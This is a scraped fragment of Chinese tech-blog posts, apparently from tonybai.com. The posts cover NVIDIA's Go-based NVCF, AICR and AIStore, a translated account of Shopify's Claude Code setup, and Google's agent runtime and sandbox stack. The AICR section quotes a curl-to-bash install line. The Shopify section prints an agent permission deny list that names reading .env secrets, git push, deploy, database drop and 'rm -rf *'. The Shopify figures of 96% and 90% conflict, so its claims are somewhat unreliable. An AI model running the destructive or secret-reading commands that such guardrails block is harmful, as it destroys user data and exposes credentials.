构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/27/migrate-go-to-rust/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/migrate-go-to-rust-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/27/migrate-go-to-rust\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/27/migrate-go-to-rust\"\u003ehttps://tonybai.com/2026/05/27/migrate-go-to-rust\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在现代后端系统编程领域，Go 和 Rust 无疑是最耀眼的两大双子星。它们都拥有静态类型、编译型、单二进制文件分发等优异特性。然而，这两门语言在底层的设计哲学、运行时权衡以及开发者体验上，走向了截然不同的方向。\u003c/p\u003e","title":"从 Go 迁移到 Rust"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/26/why-nvidia-chose-go-to-rewrite-their-ai-infrastructure\n当大家都在谈论 CUDA、Python 和 AI 框架时，NVIDIA 的工程团队正在悄悄用 Go 构建支撑整个 AI 云平台的底层基础设施。从 GPU 函数平台 NVCF，到 AI 集群运行时 AICR，再到已经有 1.8k Star 的分布式存储 AIStore，Go 语言已经成为 NVIDIA 内部 AI 基础设施的核心技术栈。这不是偶然，而是一个精心设计的技术选型。\n大家好，我是Tony Bai。\n2026 年 4 月，NVIDIA 悄悄开源了一个 repo：github.com/nvidia/nvcf。\n没有大张旗鼓的发布会，没有 Jensen Huang 的皮夹克登场。但如果你打开这个 repo 看一眼语言构成，数字会让你一惊：\nGo 占比 88.5%。\n这不是一个小工具，这是驱动 build.nvidia.com、NVIDIA DGX Cloud 推理服务和全球 GPU 云合作伙伴（CoreWeave、Oracle Cloud 等）整个控制平面的核心平台。\n然后你再看 AICR（AI Cluster Runtime）：Go 51.1%。\n再看 AIStore（面向 AI 的分布式存储）：Go 75.2%，1.8k Star，10,219 次 commit，是一个有深度的系统级项目。\nNVIDIA 在用 Go 构建 AI 时代的基础设施。而且这个趋势正在加速。\nNVCF：GPU 云函数平台的全面开源 它是什么 NVCF 全称 NVIDIA Cloud Functions，是一个用于部署、管理和运行 GPU 加速工作负载的平台。你可以把它理解为”GPU 版的 AWS Lambda”——但更贴近生产级 AI 推理场景的设计。\n你注册一个 Docker 容器或 Helm Chart，指定 GPU 类型，NVCF 负责处理一切：路由、队列、自动扩缩容、多租户隔离。GPU 云合作商在自己的 Kubernetes 集群上运行 NVIDIA Cluster Agent（NVCA），算力接入 NVCF 控制平面。\n2026 年 4 月，NVIDIA 以 Apache 2.0 协议开源了整个平台的完整代码，包括控制平面、调用平面、计算平面、CLI、Helm Charts 和数据库迁移脚本——全部在一个 monorepo 里。之前的 NVIDIA/nvidia-cloud-functions 和 NVIDIA/nvcf-go 两个 repo 已归档，这个新 repo 是唯一的真相来源。\n三平面架构：Go 是粘合剂 NVCF 的整体架构围绕三个独立可扩展的平面展开，通过 NATS JetStream 连接。\n控制平面（Control Plane）\n运行在专用 Kubernetes 集群上，负责函数生命周期管理、自动扩缩容决策和密钥管理。核心服务：\nfunction-autoscaler（Rust）：30 秒扩缩容循环，从 VictoriaMetrics 读取利用率，决策写入 Cassandra helm-reval（Go）：在计算平面部署前验证 OCI 引用的 Helm Chart OpenBao（Apache 2.0 的 Vault fork）：函数密钥静态加密，运行时通过 ess-agent sidecar 注入 Cassandra：持久化状态和自动扩缩容的分布式锁 调用平面（Invocation Plane）\n所有请求的必经之路，Go 在这里是绝对主角：\nhttp-invocation（Rust/Axum）：接收 HTTP/gRPC 请求，发布到 NATS JetStream llm-gateway（Go）：OpenAI 兼容 API，内嵌 Olric 缓存实现 token 感知的速率限制 grpc-proxy（Go）：转发 gRPC 调用到函数实例 ratelimiter（Go）：使用 Olric 分布式缓存的函数级速率限制 nats-auth-callout（Go）：支持 NKey、OIDC 和 Webhook 策略的 NATS 认证 计算平面（Compute Plane）\n每个 GPU 集群运行一个 NVCA（NVIDIA Cluster Agent）Operator。NVCA 将集群注册到控制平面，消费 NATS 消息，管理 Pod 生命周期。\n一次请求的完整生命周期 从调用方的 POST /v2/nvcf/pexec/functions/{id} 开始，到响应返回，完整链路如下：\nhttp-invocation 检查速率限制（via ratelimiter gRPC） 请求发布到 NATS stream: Create.NVCA..{clusterID}..* NVCA queue manager 消费消息 创建 ICMSRequest Kubernetes CR（通过 NATS sequence 去重） MiniService controller 协调：创建 Pod 或应用 Helm Chart 函数 Pod 通过 WorkerService gRPC 回连：ConnectOnce 响应返回调用方 完成时：Terminate.NVCA.{clusterID} 触发 Pod 删除和 GC Scale-to-Zero 的关键设计：NATS 作为持久化请求缓冲区 NVCF 解决的最有趣的工程问题，是 GPU 工作负载的 Scale-to-Zero。\n传统方案（如 Knative）在 Scale-up 期间请求会面临超时压力或重试。对于加载大型模型可能需要数十秒乃至数分钟的 GPU 推理来说，这个问题会非常严重。\nNVCF 的解法是把 NATS JetStream 当做一个持久化请求缓冲区：\n自动扩缩容器将期望实例数降为 0，没有 Pod 运行 新请求到达，发布到 NATS JetStream，消息被持久化 自动扩缩容器检测到队列深度 \u0026gt; 0，将期望实例数提升到 1+ NVCA 收到创建消息，启动 Pod Pod 通过 WorkerService gRPC 连接，拉取缓冲的消息 响应通过一直保持打开状态的 http-invocation 连接返回 请求永远不会被丢弃。 调用方在冷启动时等待更长时间，但请求一定会完成。这是 NATS 持久化消息的直接价值。\nAICR：AI 集群运行时，Go 写的”集群配方书” 为什么需要 AICR 搭建一个 GPU 加速的 Kubernetes 集群是出了名的难。内核版本、驱动、容器运行时、Operator、Kubernetes 版本——任何一个环节的细微差异都可能导致难以诊断的问题，而且极难复现。\n这些知识以前只存在于 NVIDIA 内部的验证流水线和运维手册里。AICR 把这些知识公开了。\n项目地址：github.com/NVIDIA/aicr\nAICR 全称 AI Cluster Runtime，将已知可行的驱动、Operator、内核和系统配置组合，封装成版本锁定的 Recipe（配方）——可以被 Helm、ArgoCD 和其他部署框架直接使用的可复现制品。\n核心概念：Recipe 系统 一个 Recipe 是针对特定环境的版本锁定配置。你描述你的目标（云厂商、GPU 型号、操作系统、工作负载意图），Recipe 引擎将其与一个经过验证的 Overlay 库进行匹配——从基础默认值到云厂商、加速器、操作系统、工作负载特定调优，自底向上分层组合。\n每个 AICR Recipe 具备三个特性：\nOptimized（优化）：针对特定硬件、云、OS 和工作负载意图调优 Validated（已验证）：发布前通过自动化约束和兼容性检查 Reproducible（可复现）：相同输入产生完全一致的部署结果 CLI 展示：五分钟上手 # 安装 CLI（Go 编译的单一二进制） curl -sfL https://raw.githubusercontent.com/NVIDIA/aicr/main/install | bash -s -- # 采集集群当前状态快照 aicr snapshot --output snapshot.yaml # 为你的环境生成经过验证的 Recipe aicr recipe --service eks --accelerator h100 --os ubuntu \\ --intent training --platform kubeflow -o recipe.yaml # 对比 Recipe 与集群实际状态，找出差异 aicr validate --recipe recipe.yaml --snapshot snapshot.yaml # 渲染为部署就绪的 Helm Charts aicr bundle --recipe recipe.yaml -o ./bundles bundles/ 目录包含按组件分类的 Helm Chart，每个组件附带 values 文件、checksum 和 README。你可以用 helm install 部署，提交到 GitOps 仓库，或使用内置的 ArgoCD 部署器。\n安全供应链：SLSA Level 3 AICR 在供应链安全上走得很远：SLSA Level 3 可溯源性、签名 SBOM、cosign 镜像证明、每次发布都有 checksum 验证。这已经是不少大型企业对内部工具的要求，NVIDIA 在开源项目里直接做到了。\n技术栈细节 代码以 Go 为主（51.1%），使用 golangci 做 lint，goreleaser 做发布，ko 做容器镜像构建。项目已经发布了 54 个版本，活跃度很高。目前支持 Amazon EKS、GKE 和 Kind（自管理），GPU 覆盖 H100 和 GB200，工作负载支持 Kubeflow 训练和 Dynamo 推理。\nAIStore：完全用 Go 写的 AI 分布式存储 如果说 NVCF 和 AICR 还是相对新鲜的项目，那 AIStore 则是一个已经经受了时间考验的系统级工程——1.8k Star，240 个 Fork，10,219 次 commit，46 位贡献者。\n项目地址：github.com/NVIDIA/aistore\n核心定位 AIStore（AIS）是一个专为 AI 应用构建的轻量分布式存储栈。它是一个弹性集群，可以在运行时扩缩容，支持从单台 Linux 机器到任意规模的裸机集群的任意部署方式。\nAIS 的核心差异点：它能原生操作集群内数据和远程数据，而不是把远程数据当成缓存。这对 AI 训练工作负载来说是关键区别——你不需要先把 S3 数据拉下来再训练，AIS 可以透明地处理数据层。\n技术亮点一览 多云后端支持：无缝访问 AWS S3、GCS、Azure、OCI，支持跨账号、跨 endpoint 的同名 bucket 共存。 线性扩展性：官方博客和 KubeCon 演讲中展示了跨任意数量集群节点的均衡 I/O 分布和线性扩展能力。 ETL Offload：在数据附近执行 I/O 密集型数据转换，可以内联（作为每次读请求的一部分实时处理）或离线（批量处理，结果写入目标 bucket）。 Get-Batch：单次调用检索多个对象或归档文件。专为 ML/AI 流水线设计，一次操作获取整个训练批次，按用户指定的顺序组装成 TAR（或其他序列化格式）。这个功能甚至有配套的 arxiv 论文（2602.22434）。 负载感知节流：基于多维度负载向量（CPU、内存、磁盘、文件描述符、goroutine）的动态请求节流，保护 AIS 集群在压力下的稳定性。 30+ 批处理操作：包括 archive、blob-download、copy-bucket、dsort、etl-bucket、lru-eviction、rebalance、rechunk 等，全部可以通过 CLI 启动、监控和控制。 为什么用 Go AIStore 75.2% 的代码是 Go，其 Go API 直接被 CLI 和 benchmarking 工具使用。选择 Go 的逻辑很清晰：\n系统级性能：Go 的 goroutine 模型天然适合高并发 I/O 密集型工作负载，而分布式存储正是这种场景 单一二进制发布：CLI 工具和服务端都能编译成静态链接的单一二进制，部署极其简单 生态成熟：Kubernetes operator、gRPC、NATS、Prometheus——这些基础设施领域的核心库在 Go 生态中都有成熟实现 代码可维护性：相比 C++，Go 在保持接近底层性能的同时大幅降低了复杂系统的维护成本 为什么是 Go？NVIDIA 的技术选型逻辑 把这三个项目放在一起看，NVIDIA 选择 Go 的逻辑变得清晰：\nAI 基础设施的特殊需求 AI 基础设施不同于传统 Web 服务。它需要处理：\nGPU 资源的精细调度和隔离 大规模并发请求的队列管理 跨多集群的协调 模型文件的海量 I/O 长时间运行的异步任务 这些场景对并发模型的要求极高。Go 的 goroutine 和 channel 机制，让工程师可以用清晰的代码表达复杂的并发逻辑，而不需要像 C++ 那样手动管理线程。\n云原生生态的”母语” Kubernetes、Docker、containerd、Prometheus、NATS、Helm——云原生基础设施栈几乎是用 Go 写的。NVIDIA 的三个项目全部深度集成 Kubernetes，深度依赖 Operator 模式、Controller Runtime、Helm Chart。选择 Go 意味着可以直接使用这些生态的核心库，而不是跨语言调用的额外复杂度。\n运维友好的单一二进制 aicr、ais CLI 工具都是 Go 编译的单一静态二进制。在需要快速部署到新集群、在 CI/CD 流水线中运行、或者在边缘节点上操作时，这个特性极其实用。\nRust + Go 的互补分工 值得注意的是，NVCF 并不是全 Go。高性能热路径（http-invocation、function-autoscaler）用了 Rust，而控制逻辑、网关、代理、认证——这些需要快速迭代、逻辑清晰的组件——用 Go。\n这个分工很有意思：Rust 负责极致性能的关键路径，Go 负责需要快速演化的系统逻辑。两种语言各司其职，而不是用一种语言通吃所有场景。\n小结：这意味着什么 对 Go 开发者\nNVIDIA 的这几个 repo 是绝佳的真实世界大型 Go 项目参考：\nNVCF：学习 Kubernetes Operator 模式、gRPC、NATS 集成、多平面分布式系统设计 AICR：学习 CLI 工具设计（goreleaser + cobra）、Helm 生成、GitOps 集成模式 AIStore：学习高性能分布式系统的 Go 实现，包括内存管理（memsys 包）、分布式一致性、S3 兼容 API 实现 这三个项目都是 Apache 2.0 或 MIT 开源，代码质量高，有完整的测试和文档。\n对 AI 平台工程师\nNVIDIA 正在开源 AI 基础设施的核心组件。NVCF 的开源意味着你可以：\n- 在私有 GPU 集群上运行与 NVIDIA 云服务相同的调度和路由逻辑\n- 审计每一行代码，而不是把平台当成黑盒\n- 修改自动扩缩容逻辑、添加 NATS 认证策略、扩展 MiniService controller\nAICR 则给了你一个”NVIDIA 认证”的集群配置参考——如果你正在搭建自管理 GPU 集群，AICR 的 Recipe 系统告诉你什么组合是经过验证的。\n对技术决策者\n当 NVIDIA——一家以 CUDA C++ 闻名的公司——在 AI 基础设施层面系统性地选择 Go，这个信号足够强烈。Go 已经不只是”Google 的语言”或者”云原生工具链的语言”，它正在成为 AI 时代基础设施的核心技术栈之一。\n资料链接：\nhttps://blog.kubesimplify.com/nvcf-is-now-open-source-inside-nvidia-s-gpu-function-platform https://github.com/nvidia/nvcf https://github.com/NVIDIA/aicr NVIDIA AI Cluster Runtime https://github.com/NVIDIA/aistore AIStore: scalable storage for AI applications 还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/26/why-nvidia-chose-go-to-rewrite-their-ai-infrastructure/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/why-nvidia-chose-go-to-rewrite-their-ai-infrastructure-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/26/why-nvidia-chose-go-to-rewrite-their-ai-infrastructure\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/26/why-nvidia-chose-go-to-rewrite-their-ai-infrastructure\"\u003ehttps://tonybai.com/2026/05/26/why-nvidia-chose-go-to-rewrite-their-ai-infrastructure\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e当大家都在谈论 CUDA、Python 和 AI 框架时，NVIDIA 的工程团队正在悄悄用 Go 构建支撑整个 AI 云平台的底层基础设施。从 GPU 函数平台 NVCF，到 AI 集群运行时 AICR，再到已经有 1.8k Star 的分布式存储 AIStore，Go 语言已经成为 NVIDIA 内部 AI 基础设施的核心技术栈。这不是偶然，而是一个精心设计的技术选型。\u003c/p\u003e","title":"悄悄用 Go 重写 AI 基础设施：NVIDIA 的 GPU 云平台为何选择 Go？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/24/shopify-claude-code-configuration-for-23000-engineers\n大家好，我是Tony Bai。\n这篇来自 X (Twitter) 的深度好文剖析了 Shopify 如何通过 Claude Code 实现工程效率的飞跃。文章不仅分享了其 23,000 名工程师背后的核心配置逻辑，还详细介绍了从并行智能体（Agents）到 MCP 工具包，再到“策略优先”的工作流转型。如果你正在思考如何将 AI 真正集成到团队的开发流水线中，这份来自“未来视角”的 AI 原生工程实践手册（AI-first playbook）绝对值得深入研读与复刻。下面是文章译文全文：\nShopify 的 23,000 名工程师正致力于在今年第三季度实现 96% 的代码自动化。\n他们同时运行多个 Claude Code 智能体，每个智能体处理代码库的不同部分，而工程师只需进行审查和合并。\nBessemer 发布了他们完整的 AI 优先手册。\n以下是他们的确切配置，你可以在 5 分钟内完成复刻。\n基础设施层（为什么他们的配置能奏效） Shopify 没有标准化某一个 AI 工具。他们标准化了底层的架构。\n他们构建了一个内部 LLM 代理（Proxy），将每一个 AI 请求路由到同一个网关。无论使用 Claude Code、GitHub Copilot 还是 Cursor，它们都流经相同的基础设施。\nShopify 的 LLM 代理架构：\n工程师 -\u0026gt; Claude Code / Copilot / Cursor ↓ LLM 代理 (集中式网关) ↓ OpenAI / Anthropic / Google 模型 ↓ 使用分析 + 成本控制 + 模型路由 这赋予了他们集中式的成本控制、使用分析，以及在不改变任何工程师工作流的情况下更换模型的能力。\n给小团队的启示： 不要只选一个工具就全力投入。先构建基础设施，这样你就可以在保持对成本和数据控制的同时，试验不同的工具。\n模式 1：并行智能体，而非单一对话 Shopify 的资深工程师不会把 Claude Code 当作一个简单的“提问-回答”工具。\n他们会同时启动多个智能体，在代码库的不同部分工作。\n一个智能体负责重构认证模块。另一个负责编写测试。第三个更新文档。工程师负责审查输出，丢弃无效内容，合并有效内容。\nbash 示例：\n# 终端 1：负责重构认证的智能体 claude -p \u0026#34;refactor src/auth/ to use the new session handler\u0026#34; # 终端 2：负责编写测试的智能体 claude -p \u0026#34;write integration tests for the payment flow\u0026#34; # 终端 3：负责更新文档的智能体 claude -p \u0026#34;update API documentation for all changed endpoints\u0026#34; 工程师的工作职责从“写代码”转变为“审查和合并”智能体的输出。Shopify 工程副总裁 Farhan Thawar 将此称为“编排智能系统”。\n模式 2：扩展批判循环 (Extended critique loops) 并非每个任务都能受益于并行化。对于复杂的架构决策，Shopify 工程师会让单个智能体运行扩展的批判循环。\n智能体生成一个答案，评估它，修改它，并在漫长的推理周期中继续精炼。\n他们不接受第一次输出，而是强迫智能体自我辩论。\n提示词模式：\n“针对 [X] 提出一个架构方案。\n然后批判你自己的提议：在规模化(scaling)时会出现什么问题？\n根据你的批判进行修改。\n再次批判该修订版。\n给出最终版本，并附带每个决策的置信度水平。”\n这种方式产生的结果比单一提示词好得多，因为 Claude 在你发现错误之前就已经抓住了自己的错误。\n模式 3：Shopify AI 工具包 (MCP) 在 2026 年 4 月，Shopify 发布了一个开源的 MCP (Model Context Protocol) 服务器，将 Claude Code 直接连接到 Shopify 的文档、GraphQL API 模式和在线商店操作。\n只需一条命令即可安装：\nclaude mcp add --transport stdio shopify-dev-mcp -- npx -y @shopify/dev 这赋予了 Claude Code 7 种工具：\n根据实时模式验证 GraphQL 查询 通过 Shopify CLI 执行商店操作 创建产品、管理元字段（metafields）、修改主题 用自然语言运行批量操作 如果没有这些，Claude 会产生幻觉、臆造 API 字段或组件模式。有了它，Claude 能够处理真实的平台数据。\n模式 4：CLAUDE.md 作为团队基础设施 Shopify 不把 CLAUDE.md 视为个人配置，它是提交到 Git 并供 23,000 名工程师共享的团队基础设施。\n他们的方案示例：\n# CLAUDE.md (Shopify internal pattern) ## Stack Ruby on Rails, React, GraphQL, MySQL ## Commands - Dev: dev up \u0026amp;\u0026amp; dev server - Test: dev test [path] - Lint: dev style - Type check: bin/srb tc ## Architecture - app/models/ → ActiveRecord models, business logic - app/controllers/ → thin controllers, delegate to services - app/services/ → service objects for complex operations - app/graphql/ → GraphQL types, mutations, resolvers ## Rules - NEVER bypass Sorbet type checking - All new code must have type signatures - Database queries only through established patterns - IMPORTANT: run dev test after every change 来自会议的核心见解：在 CLAUDE.md 中塞入每一个标准和规范会让性能变差，而非变好。你在每一个环节都要为此付出代价。\n模式 5：策略优先的验证 这是 Shopify 的方法与其他团队最不同的地方。\n在 2024 年，工程师将 70% 的时间花在执行（写代码）上，30% 花在策略上。\n在 2026 年，Shopify 翻转了这个比例。\n因为 AI 处理了大部分编码工作，工程师现在将 70% 的时间花在策略上：映射用户流、验证市场需求、选择正确的架构。只有 30% 的时间花在执行上。\n工作流对比：\n2024 工作流： 策略: 30% → 执行: 70% 2026 工作流 (Shopify)： 策略: 70% → 执行: 30% AI 编写代码。人类负责决定代码存在的意义。\n模式 6：带护栏的安全自主性 Shopify 不会让智能体野蛮生长。他们的Claude Code 护栏设置如下：\njson 示例：\n{ \u0026#34;permissions\u0026#34;: { \u0026#34;allow\u0026#34;: [ \u0026#34;Read\u0026#34;, \u0026#34;Glob\u0026#34;, \u0026#34;Grep\u0026#34;, \u0026#34;LS\u0026#34;, \u0026#34;Edit\u0026#34;, \u0026#34;Bash(dev test *)\u0026#34;, \u0026#34;Bash(dev style *)\u0026#34;, \u0026#34;Bash(git status)\u0026#34;, \u0026#34;Bash(git diff *)\u0026#34;, \u0026#34;Bash(git add *)\u0026#34;, \u0026#34;Bash(git commit *)\u0026#34; ], \u0026#34;deny\u0026#34;: [ \u0026#34;Read(**/.env*)\u0026#34;, \u0026#34;Bash(git push *)\u0026#34;, \u0026#34;Bash(dev deploy *)\u0026#34;, \u0026#34;Bash(bin/rails db:drop *)\u0026#34;, \u0026#34;Bash(rm -rf *)\u0026#34; ], \u0026#34;defaultMode\u0026#34;: \u0026#34;acceptEdits\u0026#34; } } 智能体可以读取、编写、测试、重构和提交。它们不能推送到远程仓库、部署到生产环境、删除数据库或读取密钥。\n人类在任何不可逆的操作中保持参与。\n你今天就能复刻的配置 你不需要 23,000 名工程师来使用这些模式。以下是初学者版本：\n步骤 1：标准化你的 CLAUDE.md\n保持在 60 行以内。包含技术栈、命令、架构和规则。提交到 Git，与团队共享。 步骤 2：设置并行智能体\n针对大型任务，在独立的终端运行 2-3 个智能体，每个工作在代码库的不同部分。 步骤 3：安装相关的 MCP 服务器\n连接你日常使用的工具栈（GitHub, Slack, 数据库等）。 步骤 4：添加护栏\n允许：read, write, test, lint, commit。\n拒绝：push, deploy, delete, secrets。 步骤 5：翻转比例\n停止将 70% 的时间花在执行上。让智能体写代码。把时间花在决定哪些代码应该存在上。 最重要的数字 Shopify 20% 的生产力提升并非来自编写更多的代码，而是来自探索 10 种方案而非 2 种、更快的原型设计以及捕捉错误。\n最能发挥 Claude Code 价值的团队不是那些拥有最强提示词的团队，而是那些构建了基础设施，让智能体能够安全、并行、在真实代码库上工作的团队。\n2026 年第三季度实现 90% 的自主编码。 这不是愿景宣言，而是 23,000 名工程师正在努力达成的最后期限。\n今日互动探讨：\nShopify 提出的 “70% 策略 + 30% 执行” 模型，预示着程序员的定义正在发生根本性位移：从“写代码的人”变成“编排智能的人”。\n面对这种“AI 自动驾驶”式的开发工作流，我想听听你的看法：\n你准备好了吗？ 如果明天起 70% 的代码都由 AI 并行完成，你认为自己最核心的“策略价值”会体现在哪里？ 最大的担忧是什么？ 是担心代码库变得臃肿无法维护，还是担心初级工程师（Junior）在缺乏“手写代码”锻炼后难以成长？ 现状调研： 你现在的日常工作中，写代码的时间占比是多少？你是否尝试过同时开启多个 AI 窗口为你“打工”？ 欢迎在评论区分享你的实战心得，我们一起预演 AI 原生时代的工程化未来。\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/05/24/shopify-claude-code-configuration-for-23000-engineers/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/shopify-claude-code-configuration-for-23000-engineers-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/05/24/shopify-claude-code-configuration-for-23000-engineers\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/05/24/shopify-claude-code-configuration-for-23000-engineers\"\u003ehttps://tonybai.com/2026/05/24/shopify-claude-code-configuration-for-23000-engineers\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e这篇来自 X (Twitter) 的\u003ca href=\"https://x.com/zodchiii/status/2056319284641460626\"\u003e深度好文\u003c/a\u003e剖析了 Shopify 如何通过 Claude Code 实现工程效率的飞跃。文章不仅分享了其 23,000 名工程师背后的核心配置逻辑，还详细介绍了从并行智能体（Agents）到 MCP 工具包，再到“策略优先”的工作流转型。如果你正在思考如何将 AI 真正集成到团队的开发流水线中，这份来自“未来视角”的 AI 原生工程实践手册（AI-first playbook）绝对值得深入研读与复刻。下面是文章译文全文：\u003c/p\u003e","title":"Shopify 23,000 名工程师背后的 Claude Code 配置方案（你可以直接复刻的完整配置）"},{"content":"\n本文永久链接 – https://tonybai.com/2026/05/23/google-open-sources-ax-and-agent-substrate-agent-centric-cloud-native-foundation\n大家好，我是Tony Bai。\n随着大语言模型（LLM）与应用场景的深度融合，AI 正在从单纯的“聊天对话框”快速演进为具备长期运行、自主工具调用和复杂任务编排能力的 AI Agent（智能体）。\n在生产环境中，这些 Agent 展现出与传统微服务截然不同的负载特征：它们是高度非线性的、需要频繁执行不可信代码（如动态生成的 Python 脚本）、在等待人类确认（HITL，人类在环）时长期处于闲置状态，同时又会在瞬时产生极其高频的子秒级（Sub-second）工具调用。\n传统的容器和虚拟机调度架构（如标准的 Kubernetes）面对这种数以百万计、高密度、长生命周期但又极度高并发的“智能体负载（Agentic Workflows）”时，在隔离安全性、调度时延与算力浪费上面临严重的物理局限。\n针对这一工程痛点，Google 在 Google I/O ’26 大会上给出了其深思熟虑的系统级回应。这并非一个单一工具的发布，而是一套分层解耦的云原生 Agent 堆栈的整体亮相。\nGoogle 定义的“三层 Agent 堆栈”，其中包含了：\n应用运行时（Agent Runtime）：开源项目 Agent Executor（AX），专注于可靠的状态编排、连接恢复与执行审计。 高密度计算与调度层（Compute Plane）：开源项目 Agent Substrate，专注于海量闲置 Agent 的极速挂起/恢复与去中心化控制平面调度。 安全隔离层（Sandbox Layer）：已正式商用的 GKE Agent Sandbox，基于 gVisor/MicroVM 技术，提供低时延、强隔离的运行沙箱。 本文将拆解这一套以 Agent 为负载单元的新型云原生抽象层，揭示 Google 是如何重新定义大模型时代的分布式系统底座的。\n架构解密：从基础设施到应用层的“三层 Agent 堆栈” 要理解这一套复杂的系统，我们需要像拆解传统 TCP/IP 协议栈一样，将其自底向上划分为四个物理层级：\n这种分层解耦的系统设计，标志着 AI 应用开发正式告别了“框架包揽一切”的单体混沌状态，进入了精细化、高可用的系统工程时代。\n底层解局：Agent Substrate 与 Sandbox 是如何解决物理局限的？ 传统的 Kubernetes 是为了支撑长期运行、状态相对稳定的“微服务（Microservices）”而设计的。如果直接将数百万个 Agent 部署为普通的 K8s Pod，系统会迅速面临崩溃：\n内存与算力浪费：许多 Agent 处于非激活状态（等待人类输入或调度触发），如果让它们的 Pod 持续在线，会产生天文数字的算力账单。 控制面过载：数百万个 Agent 产生的子秒级内部工具调用，如果全部经过传统的 K8s API Server 进行调度和授权，会直接导致 K8s 控制平面瘫痪。 安全防线脆弱：Agent 具有动态执行解释型代码（如本地运行一段临时生成的 Python 来计算数据）的本能，一旦逃逸，将危害宿主机安全。 为此，Google 